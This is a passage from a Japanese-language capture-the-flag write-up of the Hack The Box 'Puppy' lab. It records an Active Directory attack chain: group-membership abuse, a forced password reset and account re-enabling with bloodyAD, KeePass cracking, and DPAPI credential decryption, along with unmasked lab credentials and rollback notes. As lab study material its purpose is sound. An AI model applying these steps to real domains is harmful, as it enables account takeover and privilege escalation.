  • C:\ 全体を無差別に Get-ChildItem -Recurse した実行記録はない。次回もまず直下を一覧し、Backups、アプリ/Web root、レポート、ユーザープロファイルなど根拠のある候補を限定する。全再帰はノイズ、時間、アクセス拒否を増やす。

この攻略では AD の状態を三箇所変更した。復旧済みであることを示す出力は記録されていない。

対象変更前変更済み・確認済み状態復旧方法復旧確認
DEVELOPERS の member 属性levi.james が既にメンバーだったかの直接記録なしlevi.james が DEVELOPERS に表示された未実行の復旧候補: bloodyad ... remove groupMember Developers levi.james未確認
adam.silver のパスワード記録なし。HJKL2025! は検証失敗しており元値ではないHappyPwn2026! の設定成功元の値が記録なしのため安全に指定できない。ラボ reset または正しい旧値を管理者側で設定する未確認
adam.silver.userAccountControlACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDNORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD未実行の復旧候補: bloodyad ... add uac adam.silver -f ACCOUNTDISABLE。その後 get object ... --attr userAccountControl で確認する未確認

... には当該操作時の domain、host、実行主体の認証オプションを入れる。上記の復旧候補は実行済みコマンドではない。特にパスワードの元値を推測して復旧してはいけない。target へファイルを upload した、サービス/タスクを変更した、グループを新規作成したという記録はない。

以下は private study 用に未マスクで残す。各 credential は取得元、所属、最初の使用箇所、得たアクセスを区別する。

値取得元 / 対象最初の使用箇所確認済みのアクセス・注記
levi.james / KingofAkron2025!開始時に提供 / PUPPY.HTB\levi.james認証済み SMB/LDAP 列挙RustHound 収集、DEVELOPERS への自身追加、共有の read 取得につながった
liverpoolrecovery.kdbx の password recoverykeepassxc-cli exportKeePass DB の復号用。ドメインアカウント資格情報ではない
ant.edwards / Antman2025!KeePass の ANTONY C. EDWARDS entry / SMB で ant.edwards として検証bloodyad set password adam.silver ...adam.silver のパスワードと UAC を変更できた
adam.silver / HappyPwn2026!攻撃者が GenericAll で設定した値 / PUPPY.HTB\adam.silverNTLM WinRM 試行(失敗)UAC を有効化した後、ccache で WinRM と user.txt 読み取りに成功。元の資格情報ではない
steph.cooper / ChefSteph2025!backup 内 nms-auth-config.xml.bak の LDAP bind password / PUPPY.HTB\steph.cooperSMB 検証後の getTGT.pyccache 経由の WinRM と DPAPI ファイル読取りに成功
0xd9a570...e9c84steph.cooper の Master Key file を SID と上記 password で復号dpapi.py credentialMaster Key の復号結果。Credential Blob の復号鍵であり、ログオン password ではない
steph.cooper_adm / FivethChipOnItsWay2025!steph.cooper の Enterprise Credential Blob を DPAPI 復号 / PUPPY.HTB\steph.cooper_admgetTGT.pyWinRM 接続および Administrator\Desktop\root.txt 読み取りに成功

KeePass には未検証の JAMIE WILLIAMSON / JamieLove2025!、ADAM SILVER / HJKL2025!、STEVE TUCKER / Steve2025!、SAMUEL BLAKE / ILY2025! もあった。表示名から AD account を推測して再利用しない。HJKL2025! は adam.silver に対して失敗済みであり、他の三つはこの記録で対象アカウント・有効性とも未確認である。

Artifact確認済みの内容
recovery.kdbxDEVELOPERS の read で取得した 2677 bytes の KeePass database。password は liverpool
site-backup-2024-12-30.zipC:\Backups から読めた 4,639,546 bytes のバックアップ。steph.cooper の LDAP bind password を含む
DPAPI Master Key / Credential Blobssteph.cooper の SID ...-1107 に対応する 1 Master Key と 2 Blob。Enterprise Blob だけが次の domain password を出した
user flagC:\Users\adam.silver\Desktop\user.txt: [REDACTED]
root flagC:\Users\Administrator\Desktop\root.txt: [REDACTED]
  • AD を「ツールのパス」ではなく属性の到達可能性として読む。 見る対象は member、servicePrincipalName、userAccountControl、グループ membership、対象オブジェクトの ACE である。GenericWrite が何の属性に効くか、GenericAll が誰に対してあるかを個別に検証する。
  • 認証と認可を分離する。 SMB の credential success、KDC の KDC_ERR_CLIENT_REVOKED、WinRM の ccache 不在、Remote Management Users の関係は別の観察である。Kerberos では FQDN、realm、時刻、ccache のいずれが欠けたかをエラー文で判断する。
  • グループで読める共有を調べる。 共有名の発見ではなく、所属変更後の ACL を再列挙して READ を確認する。開発共有では recovery database、設定バックアップ、deployment artifact を優先する。
  • 保存資格情報を層として読む。 Credentials だけで止まらず、Blob が参照する Master Key GUID、Protect\<SID>、そのユーザーの password/SID を結びつける。Local と Enterprise の Blob は同じではなく、両方を復号して用途を出力から判断する。
  • CPTS 向けの短い反射チェック。 foothold 後は、保存資格情報/Credential Manager、DPAPI Credentials と Protect、バックアップ、PowerShell history、アプリ設定、サービス、scheduled task、書込み可能パスを、現在のユーザー権限とファイル ACL を添えて確認する。網羅ツールの大量出力は、Master Key、credential file、service/task path、writable location のような実行可能な観察点に絞る。

この Box の本質は、BloodHound → bloodyAD → Impacket の定型そのものではなく、各段階で「何が観察できたか」を次の行動へ接続したことにある。AD では ACL が対象属性ごとに異なるため、グラフ上の edge を一度の LDAP 書込みと再読取りで検証する。Windows foothold では token privilege が弱くても、C:\ 直下の名前、バックアップ、アプリ設定、ユーザープロファイル内の DPAPI が別の権限境界を越える入口になる。特に C:\Backups、C:\inetpub、C:\StorageReports のような名前を見たら、全ドライブを検索する前に意味のある狭い範囲を確認する。

また、失敗は経路の否定ではなく層の切り分けに使える。KDBX4 非対応はツール互換性、KDC_ERR_CLIENT_REVOKED は account state、No Kerberos credentials available は ticket selection、Evil-WinRM download の例外は転送実装の問題だった。エラー文字列、対象属性、成功後の prompt/再読取りをセットで残せば、次回に同じ誤診をしにくい。

  • levi.james の変更前 DEVELOPERS membership、BloodHound の raw ACE/クエリ、adam.silver と steph.cooper の Remote Management Users membership を LDAP で再取得する。
  • adam.silver の無効化解除後に発行した getTGT.py の成功 stdout、最終 steph.cooper_adm セッションの whoami、whoami /groups、whoami /priv、Administrator Desktop の ACL を取得する。これで最終権限を正確に記述できる。
  • 状態変更の cleanup 後に、DEVELOPERS membership と adam.silver.userAccountControl を再読取りする。パスワードの元値は記録なしなので、管理者側の既知値または Box reset なしに復旧成功を主張しない。
  • keepass2john --version、keepassxc-cli --version、command -v keepassxc-cli kpxc-cli、archive 展開コマンド、Puppy 自身との時刻差確認を採取する。これでツール互換性と Kerberos 時刻対策を再現可能にできる。

このログでは未実行だが、再取得時は次を実行して出力を保存する。前二者は ant.edwards の権限をまだ持つ状態、後四者は最終 WinRM セッションで実行する。

ターミナルウィンドウ
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get membership levi.james
bloodyAD -d puppy.htb --host dc.puppy.htb -u ant.edwards -p '<current-password>' get object adam.silver --attr userAccountControl
ターミナルウィンドウ
whoami
whoami /groups
whoami /priv
icacls 'C:\Users\Administrator\Desktop'